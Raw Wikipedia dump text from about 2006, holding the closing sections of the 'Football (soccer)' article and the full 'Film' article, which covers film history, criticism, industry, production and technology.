The advantage clause states that the referee should allow play to continue — i.e. not stop play — when the team against which an offence has been committed will benefit from having play continue. The referee may &quot;call back&quot; play and penalise the original offence if the anticipated advantage does not ensue within a short period of time, typically taken to be four to five seconds.

Even if an offence is not penalised due to application of the advantage clause the offender may still be sanctioned for any associated misconduct at the next stoppage of play.

=== Offside ===
{{main|Offside law (football)}}

The offside law limits the ability of attacking players to remain forward (i.e. closer to the opponent's goal-line) of both the ball and the second last defending player. It is often assumed that the purpose of this law is to prevent &quot;goal scrounging&quot; or &quot;cherry picking&quot;, but in fact the offside law has similar roots to the offside law in rugby. The details and application of this law are complex, and often result in controversy: for more information on offside please refer to the main article above.

==Governing bodies==
The recognised international governing body of football (and associated games, such as [[futsal]] and [[beach soccer]]) is the [[Fédération Internationale de Football Association]] (FIFA).

Six regional confederations are associated with FIFA; these are:
* Asia: [[Asian Football Confederation]] (AFC)
* Africa: [[Confederation of African Football]] (CAF)
* Central/North America &amp; Caribbean: [[CONCACAF|Confederation of North, Central American and Caribbean Association Football]] (CONCACAF; also known as The Football Confederation)
* Europe: [[UEFA|Union of European Football Associations]] (UEFA)
* Oceania: [[Oceania Football Confederation]] (OFC)
* South America: [[CONMEBOL|Confederación Sudamericana de Fútbol]] (South American Football Confederation; CONMEBOL)

The recognised various national associations (see [[football around the world]]) oversee football within their jurisdictions. These are affiliated both with FIFA directly and also with their respective continental confederations.

Note that the Laws of the Game are not maintained by FIFA itself; rather they are maintained by the [[International Football Association Board]], as discussed in the [[#history and development|history and development section]] above.

== Major international competitions ==
=== Worldwide international competitions ===
The major international competition in football is the [[Football World Cup|World Cup]] organised by FIFA. This competition takes place over a four-year period. Over 190 national teams compete in qualifying tournaments within the scope of continental confederations for a place in the finals. The finals tournament, which is held every four years, now involves 32 national teams (increased from 24 in [[1998]]) competing over a four-week period. The next World Cup takes place in Germany 2006{{ref|WC2006}}.

There has been a [[Football at the Summer Olympics|football tournament]] at the [[Summer Olympic Games]] since [[1900]], except at the [[1932]] games in [[Los Angeles, California|Los Angeles]]. Originally this was for amateurs only, however since the [[1984 Summer Olympics]] professionals have been permitted as well, albeit with certain restrictions which effectively prevent countries from fielding their strongest sides. Currently, the Olympic men's tournament is played at Under-23 level with a restricted number of over-age players per team; consequently the competition is not generally considered to carry the same international significance and prestige as the World Cup. A women's tournament was added in [[1996]]; in contrast to the men's event, the women's Olympic tournament is played by full international sides without age restrictions. It thus carries international prestige considered comparable to that of the [[FIFA Women's World Cup]].

=== Major international competitions ===
The major international competitions of the world and the continental confederations, followed by their major club events where appropriate, are:

* World: [[FIFA World Cup]]; [[FIFA Club World Championship]]
* Europe: [[European Football Championship|European Championship]]; [[UEFA Champions League]]
* South America: [[Copa América]]; [[Copa Libertadores de América|Copa Libertadores]]
* Africa: [[African Nations Cup]]; [[CAF Champions League]]
* Asia: [[Asian Cup]]; [[AFC Champions League]]
* North/Central America &amp; Caribbean: [[CONCACAF Gold Cup]]; [[CONCACAF Champions Cup]] 
* Oceania: [[Oceania Nations Cup]]; [[Oceania Club Championship]]

== Names of the game ==
[[Image:Soccerball.jpg|thumb|A [[football (ball)|football]]]]
{{main articles|[[Football (soccer) names]] and [[Football (word)]]}}
&lt;!--
NB: Keep this overview article streamlined! Please place details/debate of what name is used where and other name debate issues is the dedicated article [[Football (soccer) names]] rather than here!
--&gt;

The rules of football were codified in England by the Football Association in [[1863]], and the name ''association football'' was coined to distinguish the game from the [[Football|other forms of football]] played at the time, specifically [[rugby football]].  The term ''soccer'' first appeared in the [[1880s]] as a slang abbreviation of Association football.

Today the sport is known by a number of names throughout the English-speaking world, the most common being ''football'' and ''soccer''. The term used depends largely on the need to differentiate the sport from other codes of football followed in a community. ''Football'' is the term used by FIFA, the sport's world governing body, and the [[International Olympic Committee]]. For more details of naming throughout the world, please refer to the main articles above.

In the [[United Kingdom]], the [[sport]] is frequently referred to with the [[slang]] name of &quot;footy&quot;.

[[Image:Soccer player 077.JPG|thumb|Juggling]]A variant game played with the soccer ball is called juggling. Basically players keep the soccer ball in the air with the use of their feet or head only. 

== See also ==
&lt;div style=&quot;float: right; clear: right; margin: 0 0 1em 1em; border: solid #aaa 1px; background: #f9f9f9; padding: 1ex; font-size: 90%;&quot;&gt;
{|
|| [[Image:Portal.gif|Portal]]
|| '''''[[Wikipedia:Wikiportal/Association football|Football (soccer) portal]]
|}
&lt;/div&gt;       

===Teams and players===
*[[List of national football teams]]
*[[List of football teams|List of club/sub-national football teams]]
*[[List of football (soccer) players|List of famous football players]]

===Gameplay===
*[[Formation (football)|Football formations]] - common team formations
*[[Football (soccer) positions|Football positions]] - common player positions
*[[Football (soccer) tactics and skills|Football tactics and skills]]

===Other varieties of the game===
*[[Beach soccer]]
*Indoor football: [[futsal]], [[five a side football]], and [[indoor soccer]]
*Informal football-style games: see [[street football]]
*[[Paralympic football]]

===Miscellaneous===
*[[Football culture]]
*[[List of football (soccer) mascots]]
*[[NF-Board]]
*[[Oldest football club]]s
*[[Cap (football)|Representative caps]]
*[[Sports league attendances]] - total and average league attendances in football and other sports
*[[:Category:Football (soccer) computer and video games|Football (soccer) computer and video games]]
*[http://en.wikinews.org/wiki/Portal:Football WikiNews football news portal]

{{Football (soccer) chronology}}

{{Women's football}}

==References==
# {{note|FA}} {{cite web
 | title = History of the FA
 | work = Football Association website
 | url = http://www.thefa.com/TheFA/TheOrganisation/Postings/2004/03/HISTORY_OF_THE_FA.htm
 | accessdate = February 19
 | accessyear = 2006
 }}
# {{note|IFAB}} {{cite web
 | title = The International FA Board
 | work = FIFA website
 | url = http://www.fifa.com/en/history/history/0,3504,3,00.html
 | accessdate = February 19
 | accessyear = 2006
 }}
# {{note|WC2006}} {{cite web
 | title = FIFA World Cup 2006
 | work = FIFA World Cup 2006 website
 | url = http://fifaworldcup.yahoo.com/
 | accessdate = February 19
 | accessyear = 2006
 }}

{{commons|Soccer}}
{{wikinewsportal|Football (Soccer)}}

==Further reading==
* Stefan Szymanski and Tim Kuypers (1999), ''Winners and Losers: The Business Strategy of Football'', Viking

== External links ==
* [http://www.fifa.com/ Federation Internationale de Football Association (FIFA)]
* [http://www.the-afc.com/ Asian Football Confederation (AFC)]
* [http://www.cafonline.com/ Confederation of African Football (CAF)]
* [http://www.concacaf.com/ Confederation of North, Central American and Caribbean Association Football (CONCACAF)]
* [http://www.uefa.com/ Union of European Football Associations (UEFA)]
* [http://www.conmebol.com/ South American Football Confederation (CONMEBOL)]
* [http://www.oceaniafootball.com/ Oceania Football Confederation (OFC)]
* [http://www.fifa.com/en/regulations/index.html The Current Laws of the Game (LOTG)]
* [http://www.rsssf.com/ The Rec.Sport.Soccer Statistics Foundation (RSSSF)]
* [http://www.11v11.co.uk/ Association of Football Statisticians (AFS)]
* [http://www.holycross.edu/departments/economics/vmatheso/research/soccerreview.pdf Economics of Football - Literature Review] ([[PDF]])

[[Category:Ball games]]
[[Category:Football (soccer)]]
[[Category:Olympic sports]]
[[Category:Team sports]]

{{Link FA|cs}}
{{Link FA|sv}}

[[af:Sokker]]
[[als:Fussball]]
[[be:Футбол]]
[[bg:Футбол]]
[[bn:এসোসিয়েশন ফুটবল]]
[[bs:Nogomet]]
[[ca:Futbol]]
[[cs:Fotbal]]
[[cy:Pêl-droed]]
[[da:Fodbold]]
[[de:Fußball]]
[[el:Ποδόσφαιρο]]
[[eo:Futbalo]]
[[es:Fútbol]]
[[et:Jalgpall]]
[[fa:فوتبال]]
[[fi:Jalkapallo]]
[[fr:Football]]
[[fy:Fuotbal]]
[[ga:Sacar]]
[[gd:Ball-coise]]
[[gl:Fútbol]]
[[he:כדורגל]]
[[hr:Nogomet]]
[[hu:Labdarúgás]]
[[ia:Football]]
[[id:Sepak bola]]
[[io:Futbolo]]
[[is:Knattspyrna]]
[[it:Calcio (sport)]]
[[ja:サッカー]]
[[ko:축구]]
[[la:Pediludium]]
[[lb:Foussball]]
[[li:Vootbal]]
[[lt:Futbolas]]
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[[ml:ഫുട്ബോള്‍]]
[[ms:Bola sepak]]
[[nds:Football]]
[[nl:Voetbal]]
[[nn:Fotball]]
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[[pl:Piłka nożna]]
[[pt:Futebol]]
[[ro:Fotbal]]
[[ru:Футбол]]
[[sco:Fitbaa]]
[[simple:Soccer football]]
[[sl:Nogomet]]
[[sq:Futbolli]]
[[sr:Фудбал]]
[[sv:Fotboll]]
[[th:ฟุตบอล]]
[[tr:Futbol]]
[[vi:Bóng đá]]
[[wa:Fotbale]]
[[zh:足球]]
[[zh-min-nan:Kha-kiû]]</text>
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      <text xml:space="preserve">:''This article is about motion pictures.  For other uses of &quot;film&quot;, see [[photographic film]] or [[film (disambiguation)]].''
[[Image:Film reel and film.jpg|thumb|250px|&quot;Film&quot; refers to the celluloid media on which movies are printed. This type of film here is [[8 mm film|8mm]].]]
'''Film''' is a term that encompasses motion pictures as individual projects, as well as the field in general.  The origin of the name comes from the fact that [[photographic film]] (also called [[film stock|filmstock]]) has historically been the primary [[medium]] for recording and displaying motion pictures.  Many other terms exist &amp;mdash; ''motion pictures'' (or just ''pictures'' or &quot;picture&quot;), ''the silver screen'', ''photoplays'', ''the cinema'', ''picture shows'', ''flicks'' &amp;mdash; and commonly ''movies''. 

Films are produced by [[recording]] actual people and objects with [[camera]]s, or by creating them using [[animation]] techniques and/or [[special effect|special effects]].  They comprise a series of individual frames, but when these images are shown rapidly in succession, the illusion of motion is given to the viewer.  Flickering between frames is not seen due to an effect known as [[persistence of vision]] &amp;mdash; whereby the eye retains a visual image for a fraction of a second after the source has been removed.  Also of relevance is what causes the perception of motion &amp;mdash; a psychological effect identified as [[beta movement]].

Film is considered by many to be an important [[art]] form; films entertain, educate, enlighten and inspire audiences. The visual elements of cinema need no translation, giving the motion picture a universal power of communication.  Any film can become a worldwide attraction, especially with the addition of [[dubbing]] or [[subtitle]]s that translate the dialogue.   Films are also artifacts created by specific cultures, which reflect those cultures, and, in turn, affect them.

==History of film==
{{main|History of film}}
Mechanisms for producing artificially created, two-dimensional images in motion were demonstrated as early as the 1860s, with devices such as the [[zoetrope]] and the [[praxinoscope]].  These machines were outgrowths of simple optical devices (such as [[magic lantern]]s), and would display sequences of still pictures at sufficient speed for the images on the pictures to appear to be moving, a phenomenon called [[persistence of vision]]. Naturally, the images needed to be carefully designed to achieve the desired effect &amp;mdash; and the underlying principle became the basis for the development of film [[animation]].

With the development of [[celluloid]] film for still [[photography]], it became possible to directly capture objects in motion in real time. Early versions of the technology sometimes required the viewer to look into a special device to see the pictures.  By the 1880s, the development of the [[Movie camera|motion picture camera]] allowed the individual component images to be captured and stored on a single [[reel]], and led quickly to the development of a [[movie projector|motion picture projector]] to shine light through the processed and printed film and magnify these &quot;moving picture shows&quot; onto a screen for an entire audience. These reels, so exhibited, came to be known as &quot;motion pictures&quot;. Early motion pictures were static [[Shot (film)|shot]]s that showed an event or action with no [[Film editing|editing]] or other cinematic techniques.

[[Image:Voyage dans la lune (1902) still03.jpg|thumb|200px|A shot from Georges Méliès' ''[[Le Voyage dans la Lune]] (A Trip to the Moon)'' (1902), an early narrative film.]]

Motion pictures were purely [[visual arts|visual art]] up to the late 1920s, but these innovative [[silent film]]s had gained a hold on the public imagination. Around the turn of the 20th Century, films began developing a narrative structure. Films began stringing [[Scene (film)|scenes]] together to tell [[narrative]]s. The scenes were later broken up into multiple shots of varying sizes and angles. Other techniques such as camera movement were realized as effective ways to portray a story on film. Rather than leave the audience in silence, theater owners would hire a [[piano|pianist]] or [[organ (music)|organist]] or a full [[orchestra]] to play music fitting the mood of the film at any given moment. By the early 1920s, most films came with a prepared list of sheet music for this purposes, with complete [[film score]]s being composed for major productions.

The rise of European cinema was interrupted by the breakout of World War I while the film industry in United States flourished with the rise of [[Hollywood]]. However in the 1920s, European filmmakers such as [[Sergei Eisenstein]] and [[Friedrich Wilhelm Murnau|F. W. Murnau]] continued to advance the medium. In the 1920s, new technology allowed filmmakers to attach to each film a [[soundtrack]] of speech, music and [[sound effects]] synchronized with the action on the screen. These [[sound film]]s were initially distinguished by calling them &quot;talking pictures&quot;, or ''talkies''.

The next major step in the development of cinema was the introduction of [[color]].  While the addition of [[sound]] quickly eclipsed silent film and theater musicians, color was adopted more gradually. The public was relatively indifferent to color photography as opposed to black-and-white. But as color processes improved and became as affordable as [[black-and-white]] film, more and more movies were filmed in color after the end of World War II, as the industry in America came to view color an essential to attracting audiences in its competition with television, which remained a black-and-white medium until the mid-60s. By the end of the 1960s, color had become the norm for film makers.

The 1950s, 60s and 70s saw changes in the production and style of film. [[New Hollywood]], [[French New Wave]] and the rise of film school educated, independent filmmakers were all part of the changes the medium experienced in the latter half of the 20th Century. Digital technology has been the driving force in change throughout the 1990s and into the 21st Century.

==Film theory==
{{main|Film theory}}

Film theory seeks to develop concise, systematic concepts that apply to the study of film/cinema as [[art]]. Classical film theory provides a structural framework to address classical issues of techniques, [[narrativity]], [[diegesis]], cinematic codes, &quot;the image&quot;, [[genre]], subjectivity, and authorship. More recent analysis has given rise to  psychoanalytical film theory, structuralist film theory, feminist film theory and others.

==Film criticism==
{{main|Film criticism}}
Film criticism is the analysis and evaluation of films.  In general this can be divided into academic criticism by film scholars and journalistic film criticism that appears regularly in [[newspaper]]s and other media.

Film critics working for [[newspaper]]s, [[magazine]]s, and [[broadcast media]] mainly review new releases.  Normally they only see any given film once and have only a day or two to formulate opinions.  Despite this, critics have an important impact of films, especially those of certain [[film genre|genre]]s.  Mass marketed [[action film|action]], [[horror film|horror]], and [[comedy film|comedy films]] tend not to be greatly affected by a critic's overall judgement of a film.  The plot summary and description of a film that makes up the majority of any film review can still have an important impact on whether people decide to see a film.  For prestige films such as most [[drama film|drama]]s, the influence of reviews is extremely important. Poor reviews will often deign a film to obscurity and financial loss.

The impact of reviewer on a film's [[box office]] performance is a matter of debate.  Some claim that [[movie marketing]] is now so intense and well financed that reviewers cannot make an impact against it.  However, the cataclysmic failure of some heavily-promoted movies  that were harshly reviewed, as well as the unexpected success of critically praised independent movies  indicates that extreme critical reactions can have considerable influence.  Others note that positive film reviews have been shown to spark interest in little-known films.   Conversely, there have been several films in which film companies have so little confidence that they refuse to give reviewers an advanced viewing to avoid widespread panning of the film. However, this usually backfires as reviewers are wise to the tactic and warn the public that the film may not be worth seeing and the films often do poorly as a result.

It is argued that journalist film critics should only be known as film reviewers, and true film critics are those who take a more academic approach to films.  This work is more often known as [[film theory]] or film studies.  These film critics try to come to understand why film works, how it works, and what effects it has on people.  Rather than write for newspaper or appear on television their articles are published in scholarly journals, or sometimes in up-market magazines.  They also tend to be affiliated with colleges or universities.

==The motion picture industry==

The making and showing of motion pictures became a source of profit almost as soon the process was invented.  Upon seeing how successful their new invention, and its product, was in their native France, the Lumieres quickly set about touring the Continent to exhibit the first films privately to royalty and publicly to the masses.  In each country, they would normally add new, local scenes to their catalogue and, quickly enough, found local entrepreneurs in the various countries of Europe to buy their equipment and  photograph, export, import and screen additional product commercially. The Oberammergau Passion play of 1898 was the first commercial motion picture ever produced.  Other pictures soon followed, and motion pictures became a separate industry that overshadowed the vaudeville world.  Dedicated [[movie theater|theaters]] and companies formed specifically to produce and distribute films, while motion picture actors became major [[celebrity|celebrities]] and commanded huge fees for their performances.  Already by [[1917]], [[Charlie Chaplin]] had a contract that called for an annual salary of one million dollars.

In the United States today, much of the film industry is centered around [[Hollywood, California|Hollywood]]. Other regional centers exist in many parts of the world, and the [[Cinema of India|Indian film industry]] (primarily centered around &quot;[[Bollywood]]&quot;) annually produces the largest number of films in the world.  Whether the ten thousand plus features a year produced by the [[San Fernando Valley|Valley]] [[pornography|porn]] industry should qualify for this title is the source of some debate.  Though the expense involved in making movies has led cinema production to concentrate under the auspices of [[movie studio]]s, recent advances in affordable film making equipment have allowed independent film productions to flourish.

Profit is a key force in the industry, due to the costly nature of filmmaking; yet many filmmakers strive to create works of lasting social significance.  The [[Academy Award]]s (also known as '''The Oscars''') are the most prominent film awards in the [[United States]], providing recognition each year to films, ostensibly based on their artistic merits.  Also, film quickly came to be used in education, in lieu of or in addition to lectures and texts.

==Stages of filmmaking==
{{main|Filmmaking}}

The nature of the film determines the size and type of crew required during filmmaking. Many [[Hollywood]] [[adventure film]]s need [[computer generated imagery]] (CGI), created by dozens of [[3D modelling|3D modellers]], [[animation|animators]], rotoscopers and compositors. However, a low-budget, independent film may be made with a skeleton crew, often paid very little. Filmmaking takes place all over the world using different technologies, styles of acting and genre, and is produced in a variety of economic contexts that range from state-sponsored documentary in China to profit-oriented movie making within the American [[studio system]].

A typical Hollywood-style filmmaking [[Production cycle]] comprises five main stages: 

# Development
# Preproduction
# Production
# Post-production
# Distribution

This production cycle typically takes three years. The first year is taken up with ''development''. The second year comprises ''preproduction'' and ''production''. The third year, ''post-production'' and ''distribution''.

==Film crew==
{{main|Film crew}}

A film crew is a group of people hired by a film company for the purpose of producing a film or motion picture. ''Crew'' are distinguished from ''cast'', the [[actor]]s who appear in front of the [[camera]] or provide voices for characters in the film.

==Independent filmmaking==
{{main|Independent film}}

Independent filmmaking takes place outside of the Hollywood, or other major [[studio system]]s. An independent film (or indie film) is a film initially produced without financing or distribution from a [[list of Hollywood movie studios|major movie studio]].  Creative, business, and technological reasons have all contributed to the growth of the indie film scene in the late [[20th century|20th]] and early [[21st century]].  

Creatively, it was becoming increasingly difficult to get studio backing for experimental films.  Experimental elements in theme and style are inhibitors for the big studios.

On the business side, the costs of big-budget studio films also leads to conservative choices in cast and crew.  The problem is exacerbated by the trend towards co-financing (over two-thirds of the films put out by [[Warner Bros.]] in [[2000]] were joint ventures, up from 10% in [[1987]]). An unproven director is almost never given the opportunity to get his or her big break with the studios unless he or she has significant industry experience in film or television.  They also rarely produce films with unknown actors, particularly in lead roles.

Until the advent of [[digital film|digital]] alternatives, the cost of professional film equipment and stock was also a hurdle to being able to produce, direct, or star in a traditional studio film.  The cost of [[35mm film]] is outpacing inflation: in [[2002]] alone, film negative costs were up 23%, according to ''[[Variety (magazine)|Variety]]''.  Film requires expensive lighting and [[post-production]] facilities.

But the advent of consumer [[camcorder]]s in [[1985]], and more importantly, the arrival of high-resolution [[digital video]] in the early [[1990s]], have lowered the technology barrier to movie production significantly.  Both production and post-production costs have been significantly lowered; today, the hardware and software for post-production can be installed in a commodity-based [[personal computer]].  Technologies such as [[DVD]]s, [[FireWire|IEEE 1394]] connections and [[non-linear editing system]] pro-level software like [[Adobe Premiere Pro]] and [[Final Cut Pro]], and consumer level software such as [[Final Cut Express]] and [[iMovie]] make movie-making relatively inexpensive.

Since the introduction of [[DV]] technology, the means of production have become more democratized. Filmmakers can conceivably shoot and edit a movie, create and edit the sound and music, and mix the final cut on a home computer. However, while the means of production may be democratized, financing, distribution, and marketing remain difficult to accomplish outside the traditional system. Most independent filmmakers rely on film festivals to get their films noticed and sold for distribution.

==Animation==
{{main|Animation}}

Animation is the technique in which each frame of a film is produced individually, whether generated as a computer graphic, or by photographing a drawn image, or by repeatedly making small changes to a model unit (see [[claymation]] and [[stop motion]]), and then photographing the result with a special [[animation camera]]. When the frames are strung together and the resulting film is viewed at a speed of 16 or more frames per second, there is an illusion of continuous movement (due to the [[persistence of vision]]). Generating such a film is very labour intensive and tedious, though the development of [[computer animation]] has greatly sped up the process.

[[Graphics file format]]s like [[GIF]], [[MNG]], [[SVG]] and [[Macromedia Flash|Flash]] allow animation to be viewed on a computer or over the Internet.

Because animation is very time-consuming and often very expensive to produce, the majority of animation for [[Television|TV]] and movies comes from professional animation studios. However, the field of [[independent animation]] has existed at least since the [[1950s]], with animation being produced by independent studios (and sometimes by a single person). Several independent animation producers have gone on to enter the professional animation industry.

[[Limited animation]] is a way of increasing production and decreasing costs of animation by using &quot;short cuts&quot; in the animation process. This method was pioneered by [[United Productions of America|UPA]] and popularized (some say exploited) by [[Hanna-Barbera]], and adapted by other studios as cartoons moved from [[movie theater]]s to [[television]].

==Film venues==
When it is initially produced, a film is normally shown to audiences in a [[movie theater]]. The first theater designed exclusively for cinema opened in [[Pittsburgh, Pennsylvania]] in [[1905]]. Thousands of such theaters were built or converted from existing facilities within a few years.  In the [[United States]], these theaters came to be known as [[Nickelodeon movie theater|nickelodeons]], because admission typically cost a nickel (five cents).

Typically, one film is the featured presentation (or [[feature film]]).  There were &quot;double features&quot;; typically, a high quality &quot;A picture&quot; rented by an independent theater for a lump sum, and a &quot;B picture&quot; of lower quality rented for a percentage of the gross receipts. Today, the bulk of the material shown before the feature film (those in theaters) consists of previews for upcoming movies and paid advertisements (also known as [[trailer (movie)|trailers]] or &quot;[[The Twenty]]&quot;).

Originally, all films were made to be shown in movie theaters. The development of [[television]] has allowed films to be broadcast to larger audiences, usually after the film is no longer being shown in theaters. Recording technology has also enabled consumers to rent or buy copies of films on [[video tape]] or [[DVD]] (and the older formats of [[laserdisc]], [[Video CD|VCD]] and [[SelectaVision]]&amp;mdash;see also [[videodisc]]), and [[Internet]] [[download]]s may be available and have started to become revenue sources for the film companies. Some films are now made specifically for these other venues, being released as [[television movie|made-for-TV movies]] or [[direct-to-video]] movies. These are often considered to be of inferior quality compared to theatrical releases. And indeed, some films that are rejected by their own studios upon completion are dumped into these markets.

The movie theater pays an average of about 55% of its ticket sales to the [[movie studio]], as film rental fees. The actual percentage starts with a number higher than that, and decreases as the duration of a film's showing continues, as an incentive to theaters to keep movies in the theater longer. However, today's barrage of highly marketed movies ensures that most movies are shown in first-run theaters for less than 8 weeks. There are a few movies every year that defy this rule, often limited-release movies that start in only a few theaters and actually grow their theater count through good word-of-mouth and reviews.  According to a 2000 study by [[ABN AMRO]], about 26% of Hollywood movie studios' worldwide income came from box office ticket sales; 46% came from [[VHS]] and [[DVD]] sales to consumers; and 28% came from television (broadcast, cable, and pay-per-view).

==Development of film technology==
[[film stock|Filmstock]] consists of a transparent [[celluloid]], [[polyester]], or other [[plastic]] base coated with an emulsion containing light-sensitive chemicals. Cellulose nitrate was the first type of film base used to record motion pictures, but due to its flammability was eventually replaced by safer materials.  Stock widths and the [[film format]] for images on the reel have had a rich history, though most large commercial films are still shot on (and distributed to theaters) as [[35 mm film|35 mm]] prints.

Originally moving picture film was shot and projected at various speeds using hand-cranked [[movie camera|cameras]] and [[movie projector|projectors]]; though 16 frames per second is generally cited as a standard silent speed, research indicates most films were shot between 16-23 fps and projected from 18 fps on up (often reels included instructions on how fast each scene should be shown) [http://www.cinemaweb.com/silentfilm/bookshelf/18_car_1.htm]. When sound film was introduced in the late 1920s, a constant speed was required for the sound head. 24 frames per second was chosen because it was the slowest (and thus cheapest) speed which allowed for sufficient sound quality. Improvements since the late [[19th century]] include the mechanization of cameras - allowing them to record at a consistent speed, quiet camera design - allowing sound recorded on-set to be usable without requiring large &quot;blimps&quot; to encase the camera, the invention of more sophisticated [[film stock|filmstock]]s and [[Lens (optics)|lenses]], allowing [[Film director|director]]s to film in increasingly dim conditions, and the development of synchronized sound, allowing sound to be recorded at exactly the same speed as its corresponding action.  The soundtrack can be recorded separately from shooting the film, but for live-action pictures many parts of the soundtrack are usually recorded simultaneously.

As a medium, film is not limited to motion pictures, since the technology developed as the basis for [[photography]]. It can be used to present a progressive sequence of still images in the form of a slideshow.  Film has also been incorporated into [[multimedia]] presentations, and often has importance as primary historical documentation.  However, historic films have problems in terms of preservation and storage, and the motion picture industry is exploring many alternatives. Most movies on cellulose nitrate base have been copied onto modern safety films. Some studios save color films through the use of [[separation masters]] - three B&amp;W negatives each exposed through red, green, or blue filters (essentially a reverse of the [[Technicolor]] process). Digital methods have also been used to restore films, although their continued obsolescence cycle makes them (as of 2006) a poor choice for long-term preservation. [[Film preservation]] of decaying film stock is a matter of concern to both film historians and archivists, and to companies interested in preserving their existing products in order to make them available to future generations (and thereby increase revenue). Preservation is generally a higher-concern for nitrate and single-strip color films, due to their high decay rates; black and white films on safety bases and color films preserved on Technicolor imbibition prints tend to keep up much better, assuming proper handling and storage.

Some films in recent decades have been recorded using [[analog (signal)|analog]] [[video]] technology similar to that used in television production.  Modern [[Digital video|digital video camera]]s and [[digital projector]]s are gaining ground as well.  These approaches are extremely beneficial to moviemakers, especially because footage can be evaluated and edited without waiting for the film stock to be processed.  Yet the migration is gradual, and as of 2005 most major motion pictures are still recorded on film.

==Endurance of films==

Films have been around for more than a century, however this is not long when you consider it in relation to other arts like painting and sculpture.  Many believe that film will be a long enduring art form because motion pictures appeal to diverse human emotions.

Apart from societal norms and cultural changes, there are still close resemblances between theatrical plays throughout the ages and films of today. Romantic motion pictures about a girl loving a guy but not being able to be together for some reason, movies about a hero who fights against all odds a more powerful fiendish enemy, comedies about everyday life, etc. all involve plots with common threads that existed in books, plays and other venues.

The reason motion pictures endure is because people still want [[escapism]], adventure, inspiration, humor and to be moved emotionally. Civilization develops and changes, at least in surface features, and so calls for a constant renewal of artistic means to channel these desires. Films provide them in an accessible and powerful way.

==See also==

===Wikibooks===
*[[wikibooks:Movie making manual|Movie making manual]]
*[[wikibooks:Movie making directory|Movie making directory]]

=== Basic types of film ===
*[[Narrative film]]
**[[Cinematic genre]]
*[[Documentary film]]
*[[Experimental film]]
*[[Animation]]

=== Lists ===

*[[List of film-related topics]]   (extensive alphabetical listing)
plus: 
*[[Lists of films]]
*[[Lists of movie source material]]
*[[:Category:Cult films|List of Cult Films]]
*[[List of film festivals]]
*[[List of film techniques]]
*[[List of cinematic genres]]
*[[List of fantasy films]]
*[[List of films noir]]
*[[List of disaster movies]]
*[[List of horror films]]
*[[List of science fiction films]]
*[[List of films about possessed or sentient inanimate objects]]
*[[List of character-based movie franchises|List of character-based movie series]]
*[[List of movie series]]
*[[List of computer-animated films]]
*[[List of the longest movies in history]]
*[[List of highest-grossing films]]
*[[List of films with single syllable titles]]
*[[List of movie clichés by genre]]
*[[List of sequels considered better than the original]]
*[[Films that have been considered the greatest ever]]
*[[Films considered the worst ever]]
*[[Last surviving cast member]]
*[[Surviving cast members]]
*[[List of teen films]]

=== Other ===
*[[African Cinema]]
*[[Digital cinema]]
*[[Filmmaking]]
*[[Film criticism]]
*[[Film journals and magazines]]
*[[Film festival]]
*[[Film theory]]
*[[History of cinema]]
*[[Internet Movie Database]]
*[[Movie star]]
*[[Sound stage]]

==References==
*Nowell-Smith, Geoffrey ([[Editor|ed.]]). ''The Oxford History of World Cinema''. [[Oxford University Press]], [[1999]]. ISBN 0198742428
*Hagener, Malte, and Töteberg, Michael. ''Film: An International Bibliography''. Stuttgart: Metzler, [[2002]]. ISBN 3-476-01523-8 
*[[Amos Vogel|Vogel, Amos]]. ''Film As a Subversive Art''. Weidenfeld &amp; Nichols, [[1974]].
*''The Oxford History of World Cinema'', Oxford University Press, [[1999]]; Geoffrey Nowell-Smith, ed.
*''Glorious Technicolor: The Movies' Magic Rainbow'', Fred E. Basten. AS Barnes &amp; Company, [[1980]]
*''Reel Women. Pioneers of the Cinema. 1896 to the Present'' by Ally Acker, London: B.T.Batsford 1991
*''Reel Racism. Confronting Hollywood's Construction of Afro-American Culture'', Vincent F. Rocchio, Westview Press 2000
*''New Hollywood Cinema: An Introduction'', Geoff King . Columbia University Press, [[2002]].
*''Notes on Film Noir'' Paul Schrader. Film Comment. '84?
*''Celluloid Mavericks: A History of American Independent Film'' by Greg Merritt; Thunder's Mouth Press 2001
*''Africa shoots back. Alternative perspectives in sub-saharan francophone african film'' by Melissa Thackway, Indiana University Press 2003
*''Glorious Technicolor''; directed by Peter Jones. Based on the book (above); written by Basten &amp; Jones. Documentary, ([[1998]]).
*Francesco Casetti, ''Theories of Cinema, 1945-1990'', Paperback Edition, University of Texas Press 1999
*The Oxford Guide to Film Studies, Oxford University Press 1998
*Walters Faber, Helen Walters, Algrant (Ed.), ''Animation Unlimited: Innovative Short Films Since 1940'', HarperCollins Publishers 2004
*Trish Ledoux, Doug Ranney, Fred Patten (Ed.), ''Complete Anime Guide: Japanese Animation Film Directory and Resource Guide'', Tiger Mountain Press 1997
*Steven Spielberg in ''The making of Jurassic Park''

==External links==
{{portal}}
{{Wikimedia}}

*[http://imdb.com/ The Internet Movie Database (IMDb)] - Information on current and historical films and cast listings.
*{{wikicities|filmguide|The Film Guide}}
*[http://www.aintitcool.com/ Ain't It Cool News] - Rumors and reviews about current and upcoming films
*[http://movies.aurum3.com/ AURUM3 Movies] - Movie reviews and previews
*[http://allmovie.com All Movie Guide] - Information on films: actors, directors, biographies, reviews, cast and production credits, box office sales, and other movie data.
*[http://www.allwatchers.com AllWatchers] - Categorized movie reviews
* [http://www.my-movies-data.info/ Movies articles]
*[http://www.boxofficemojo.com Box Office Mojo] - Box office figures by date and genre, including box office records
*[http://www.bad-good.org So Bad It's Good] - Bad movie reviews, clips, screenshots and sounds
*[http://www.CrewPix.com CrewPix] - Behind the scenes photos from movie shoots, taken by the Film Crews themselves.
*[http://www.filmsite.org Film Site] - Reviews of classic films
*[http://www.themovieinsider.com The Movie Insider] Tracks upcoming movies.  
*[http://www.the-numbers.com The Numbers] Box office figures by movie and actor, including box office records
*[[Open Directory Project]]: [http://www.dmoz.org/Arts/Movies Movies]
*[http://www.rottentomatoes.com Rotten Tomatoes] Film reviews
*[http://movies.yahoo.com Yahoo! Movies] Information on specific movies, including upcoming movies by title, date, and actor
*[http://www.wa.gov/esd/lmea/sprepts/indprof/motionp.htm Motion Pictures] - An economic report on Motion pictures
*[http://www.factbook.net/wbglobal_rev.htm Factbook.net] - Discussion of world box office revenues and breakdowns
*[http://www.movieweb.com MovieWeb] - News, reviews, gossip, movie stills, images and trailers.
*[http://www.pophistorynow.com The 1950's-2000's Week-By-Week] Complete movie listings from each week of these decades, plus Hollywood news and star tidbits. 
*[http://www.knowledgeoflondon.com/movies/films.htm/ 'The History of the London Pictures']
*[http://www.netflix.com/Default Netflix] 

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    <title>Fox Film Corporation</title>
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      <comment>revert</comment>
